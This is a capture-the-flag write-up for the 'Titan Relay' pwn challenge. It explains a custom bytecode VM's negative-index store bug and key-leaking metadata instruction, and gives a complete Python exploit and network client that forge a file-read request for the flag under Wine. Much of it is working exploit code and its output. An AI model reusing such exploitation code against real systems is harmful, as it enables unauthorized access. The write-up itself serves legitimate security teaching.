PwnHidden Investigations CTF 2026
Titan Relay
Titan Relay accepts encoded bytecode capsules and executes them in a custom VM. Its store instruction accepts negative slot indices, allowing a capsule to overwrite authorization fields immediately before the VM's ordinary slot array.
What this one teaches
- Bounded intra-object writes are exploitable when they reach authorization state — no arbitrary write or native code execution needed.
- Metadata disclosure instructions that leak key material let you forge valid authorization values entirely inside the VM, without any second-stage interaction.
- Wine's default Z: drive exposes the Linux root filesystem, so Z:\flag.txt reaches /flag.txt inside a container.
Task description
A relay console is open to operators. Recover the flag.
| Field | Value |
|---|---|
| Event | Hidden Investigations CTF 2026 |
| Category | pwn |
| Author | 0xblackfox |
| Target | Rust Windows x64 executable running under Wine |
| Technique | VM negative-index write, metadata disclosure, forged file-read request |
Provided Environment
The archive contains:
titan_relay.exe
Dockerfile
docker-compose.yml
run_titan.sh
flag.txt
The Dockerfile installs Wine and socat on Ubuntu 24.04, places the executable in /app, and copies the flag to /flag.txt. The service runs as the unprivileged ctf user. The local container exposes TCP port 7260; the supplied remote instance exposes the console through TLS on port 1337.
The executable is a Windows x64 PE with preferred image base 0x140000000. Relevant reverse-engineered locations are below. Names such as request_handler are descriptive labels, not recovered source symbols.
| Location | Preferred VA | RVA |
|---|---|---|
| Application main | 0x140002610 |
0x2610 |
| File-read request handler | 0x1400018c0 |
0x18c0 |
| Negative-index store handler | 0x140003a49 |
0x3a49 |
| Dispatch validation | 0x140003b26 |
0x3b26 |
| Per-capsule key global | 0x140048040 |
0x48040 |
These addresses explain the binary; none is hardcoded into the exploit.
Capsule Protocol
The console presents:
=== TITAN RELAY :: route consensus vm ===
1) load capsule
2) quit
Option >
Option 1 asks for a decimal capsule length and a hex string:
Capsule length >
Capsule hex >
The declared length must be between 1 and 512 bytes. After parsing the hexadecimal input, the program applies a position-dependent XOR before interpreting it:
bytecode[i] = wire[i] ^ ((0x71 + 0x3d * i) & 0xff)
XOR is its own inverse, so the payload encoder uses the same expression:
def encode(code):
return bytes(b ^ ((0x71 + 0x3d * i) & 0xff)
for i, b in enumerate(code))
The VM has a separate limit of 512 executed instructions. [+] capsule accepted only confirms that the transport-level input was accepted; it does not mean dispatch or file-read authorization succeeded.
VM Memory Layout
Let B be the base of the VM’s 0xf8-byte allocation, M = B + 0x58 the slot-array base, and P = B + 0xd8 the metadata address. Let K be the per-capsule key and F the actual runtime address of the file-read handler.
| Offset from B | Size | Contents |
|---|---|---|
0x00 |
8 | Key K |
0x08 |
8 | Route consensus field, initially zero |
0x10 |
8 | Expected-handler field, initially zero |
0x18 |
64 | Eight 64-bit registers, R0 through R7 |
0x58 |
128 | Sixteen 64-bit slots, M[0] through M[15] |
0xd8 |
8 | Zero-extended low 32 bits of K |
0xe0 |
8 | Zero-extended high 32 bits of K |
0xe8 |
8 | K ^ F |
0xf0 |
8 | Zero |
The important initialization is:
M[0] = P
Thus a normal slot load gives our program the metadata pointer. All other addresses needed by the exploit can be derived from that pointer.
Useful Instructions
Multibyte operands are little-endian. Register arithmetic wraps at 64 bits.
| Opcode | Operands | Operation |
|---|---|---|
0x11 |
dst:u8, value:u32 |
Load a zero-extended immediate |
0x21 |
dst:u8, slot:u16 |
Load a 64-bit slot, if slot < 16 |
0x32 |
src:u8, slot:i16, lane:u8 |
Store the register’s low 32 bits into a slot half |
0x42 |
dst:u8, src:u8 |
XOR registers |
0x51 |
None | Validate the route and dispatch using R6 |
0x71 |
dst:u8, src:u8, selector:u8 |
Read metadata entry 0, 1, or 2 if Rsrc == P |
0x81 |
dst:u8, shift:u8 |
Shift left |
0x82 |
dst:u8, shift:u8 |
Logical shift right |
0x91 |
dst:u8, src:u8 |
OR registers |
0xa3 |
dst:u8, value:i16 |
Add a sign-extended immediate |
0xa4 |
dst:u8, src:u8 |
Add registers |
0xb1 |
dst:u8, src:u8 |
Copy a register |
Bug 1: Negative Slot Indices
The store instruction behaves like this reconstructed pseudocode:
int16_t slot = read_i16();
uint8_t lane = read_u8();
if (slot >= -10 && slot <= 15 && lane <= 1) {
*(uint32_t *)(M + 8 * slot + 4 * lane) = (uint32_t)R[src];
}
The lower bound is -10, not zero. Consequently, the instruction reaches fields before the ordinary slot array:
| Slot index | Address | Target |
|---|---|---|
-10 |
B + 0x08 |
Route consensus |
-9 |
B + 0x10 |
Expected-handler field |
-8 through -1 |
B + 0x18 through B + 0x50 |
Registers R0 through R7 |
This is a bounded intra-object write, not an unrestricted arbitrary write. It cannot reach the original key at B + 0x00 or the metadata at B + 0xd8. However, it reaches exactly the two fields checked before dispatch.
Each store writes only 32 bits. We implement a 64-bit write using two stores and scratch register R7:
STORE src, slot, lane=0
MOV R7, src
SHR R7, 32
STORE R7, slot, lane=1
Bug 2: Recoverable Authorization Values
The metadata instruction requires a source register equal to P. That is not a meaningful restriction because M[0] already contains P.
We recover the values as follows:
R0 = M[0] # P
R1 = META(R0, 0) # L = low32(K)
R2 = META(R0, 1) # H = high32(K)
R3 = (R2 << 32) | R1 # K
R4 = META(R0, 2) ^ R3 # F = (K ^ F) ^ K
No disclosure needs to be printed to the client. The capsule uses these values internally, avoiding any second-stage interaction or dependence on a previous allocation.
Passing Dispatch
Opcode 0x51 checks:
if (vm->consensus != vm->key ||
vm->expected_handler != request_handler ||
vm->regs[6] == 0) {
print("[!] route fault contained");
} else {
request_handler((Request *)vm->regs[6]);
}
The expected-handler field is compared against the real handler address. It is not used as an arbitrary indirect-call target. Replacing it with a shellcode or ROP address would fail validation.
Instead, we use our negative-index stores to write:
M[-10] = K
M[-9] = F
Then we point R6 at a request constructed inside the ordinary slots. This reuses the intended file-read functionality rather than taking control of the native instruction pointer.
Forging The File-Read Request
The request handler expects these fields:
struct Request {
uint64_t key; // +0x00
uint8_t *encoded_path; // +0x08
uint32_t tag; // +0x10
uint32_t length; // +0x14
uint32_t checksum; // +0x18
};
Using L = low32(K) and H = high32(K), the checks are:
request.key == global_K
request.tag == L ^ H
request.length == 11
request.checksum == (L + (L ^ H)) mod 2^32
request.encoded_path != NULL
The handler reads 12 encoded bytes and XORs them with the repeating little-endian bytes of K:
decoded[i] = encoded[i] ^ ((K >> (8 * (i % 8))) & 0xff)
The first 11 decoded bytes must be non-NUL and valid UTF-8. Byte 11 must be NUL. There is no additional filename restriction, so we choose:
path = b"Z:\\flag.txt\x00"
assert len(path) == 12
Z:\flag.txt is exactly 11 bytes without the terminator. Wine’s default Z: drive exposes the Linux filesystem root, making this the Windows path to the container’s /flag.txt.
We place the request at M[1] and its encoded path at M[5]:
| Slot | Contents |
|---|---|
M[1] |
Request key K |
M[2] |
Pointer to M[5] |
M[3], low half |
Tag L ^ H |
M[3], high half |
Length 11 |
M[4], low half |
Checksum (L + (L ^ H)) mod 2^32 |
M[5] |
First eight encoded pathname bytes |
M[6], low half |
Last four encoded pathname bytes |
The pointers are calculated relative to the metadata pointer:
R6 = P - 0x78 # M + 8, request address
encoded_path = P - 0x58 # M + 0x28, pathname address
The first eight pathname bytes are assembled into a 64-bit register and XORed with K. The last four bytes are XORed with L. After storing the request and encoded path, a final 0x51 performs the file read and prints its contents.
Exploit
The bytecode builder assembles the full exploit capsule. It reads the metadata to recover the key and handler address, writes them into the authorization fields via negative-index stores, constructs a file-read request for Z:\flag.txt inside the slot array, and dispatches:
import struct
MASK = (1 << 64) - 1
PATH = b"Z:\\flag.txt\0"
def build():
code = bytearray()
def emit(op, *operands):
code.extend((op, *operands))
def imm(reg, value):
code.extend(bytes((0x11, reg)) + struct.pack("<I", value))
def store(reg, slot, lane):
code.extend(bytes((0x32, reg)) + struct.pack("<hB", slot, lane))
def store64(reg, slot):
assert reg != 7
store(reg, slot, 0)
emit(0xB1, 7, reg)
emit(0x82, 7, 32)
store(7, slot, 1)
def addi(reg, value):
code.extend(bytes((0xA3, reg)) + struct.pack("<h", value))
# R0 = P (metadata), R1 = key low32, R2 = key high32.
code.extend(b"\x21\x00\x00\x00")
emit(0x71, 1, 0, 0)
emit(0x71, 2, 0, 1)
emit(0xB1, 3, 2)
emit(0x81, 3, 32)
emit(0x91, 3, 1)
# Write key to consensus field, handler to expected-handler field.
store64(3, -10)
emit(0x71, 4, 0, 2)
emit(0x42, 4, 3)
store64(4, -9)
# Q = M + 8 = P - 0x78. R6 is the dispatch argument register.
emit(0xB1, 6, 0)
addi(6, -0x78)
store64(3, 1)
# Q->encoded_path = M + 0x28 = P - 0x58.
emit(0xB1, 5, 0)
addi(5, -0x58)
store64(5, 2)
# tag = low32(K) ^ high32(K); checksum = tag + low32(K).
emit(0xB1, 5, 1)
emit(0x42, 5, 2)
store(5, 3, 0)
emit(0xA4, 5, 1)
store(5, 4, 0)
imm(5, 11)
store(5, 3, 1)
# Twelve encoded path bytes, XORed with key.
imm(5, int.from_bytes(PATH[:4], "little"))
imm(7, int.from_bytes(PATH[4:8], "little"))
emit(0x81, 7, 32)
emit(0x91, 5, 7)
emit(0x42, 5, 3)
store64(5, 5)
imm(5, int.from_bytes(PATH[8:12], "little"))
emit(0x42, 5, 1)
store(5, 6, 0)
emit(0x51)
assert 1 <= len(code) <= 512
return bytes(code)
def encode(code):
return bytes(byte ^ ((0x71 + 0x3D * i) & 255) for i, byte in enumerate(code))
The client connects over TCP (or TLS for the remote instance), sends the capsule, and extracts the flag from the handler’s output:
import re, socket, ssl, sys
def solve(host, port, tls=False, timeout=90):
code = build()
with socket.create_connection((host, port), timeout=timeout) as raw:
conn = (ssl.create_default_context().wrap_socket(raw, server_hostname=host)
if tls else raw)
with conn:
def until(marker):
data = bytearray()
while marker not in data:
chunk = conn.recv(4096)
if not chunk:
raise EOFError(f"Closed waiting for {marker!r}")
data.extend(chunk)
sys.stdout.write(data.decode("utf-8", errors="replace"))
sys.stdout.flush()
return bytes(data)
until(b"Option >")
conn.sendall(b"1\n")
until(b"Capsule length >")
conn.sendall(f"{len(code)}\n".encode())
until(b"Capsule hex >")
conn.sendall(encode(code).hex().encode() + b"\n")
result = until(b"Option >")
conn.sendall(b"2\n")
flag = re.search(rb"hiCTF\{[^}\r\n]+\}", result)
if not flag:
raise RuntimeError("Capsule did not return a flag")
return flag.group().decode()
Local Verification
All commands below are relative to this challenge directory.
First, build and start the supplied environment:
docker compose -f files/titan-relay/docker-compose.yml up --build -d
Allow Wine’s initial prefix setup to finish, then run:
python solve.py 127.0.0.1 7260
Observed output:
=== TITAN RELAY :: route consensus vm ===
1) load capsule
2) quit
Option > Capsule length >
Capsule hex >
[+] capsule accepted
hiCTF{fake_flag_for_local_testing}
Option >
Recovered: hiCTF{fake_flag_for_local_testing}
This was execution against the actual supplied binary under Wine, not just the Python model.
The model was also tested independently:
python capsule_model.py --check
Model checks passed: 10002 cases, 188 bytes, 48 instructions, path=b'Z:\\flag.txt\x00'
These are synthetic model tests, not execution of the PE or Wine.
Those cases exercise varied synthetic keys, heap addresses, and handler addresses, including key edge cases. They check that the capsule builds a valid request without hardcoded runtime addresses; they do not replace execution against the real binary.
To print the complete input transcript without connecting:
python capsule_model.py
Remote Verification
After local success, the same capsule was sent to the supplied live endpoint:
ncat --ssl titan-relay-6ae1e6f7cf31.chall.hiddeninvestigations.net 1337
The automated equivalent is:
python solve.py titan-relay-6ae1e6f7cf31.chall.hiddeninvestigations.net 1337 --ssl
Observed output:
=== TITAN RELAY :: route consensus vm ===
1) load capsule
2) quit
Option > Capsule length >
Capsule hex >
[+] capsule accepted
hiCTF{ru5t_vm_g4te_and_h4ndler_ch41n_4f369633af}
Option >
Recovered: hiCTF{ru5t_vm_g4te_and_h4ndler_ch41n_4f369633af}
The user subsequently confirmed that the recovered flag was correct. The hostname records the instance used for this solve and may expire; use a fresh instance hostname for later reproduction.
The local container was stopped after testing:
docker compose -f files/titan-relay/docker-compose.yml stop
Takeaway
The trust boundary fails in two complementary ways: bytecode can write into its own authorization state, and metadata exposes the values needed to make that state valid. Neither native code execution nor unrestricted memory access is necessary. A bounded write plus a recoverable key is enough to invoke an existing privileged operation with an attacker-controlled request.
The flagReveal
hiCTF{ru5t_vm_g4te_and_h4ndler_ch41n_4f369633af}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.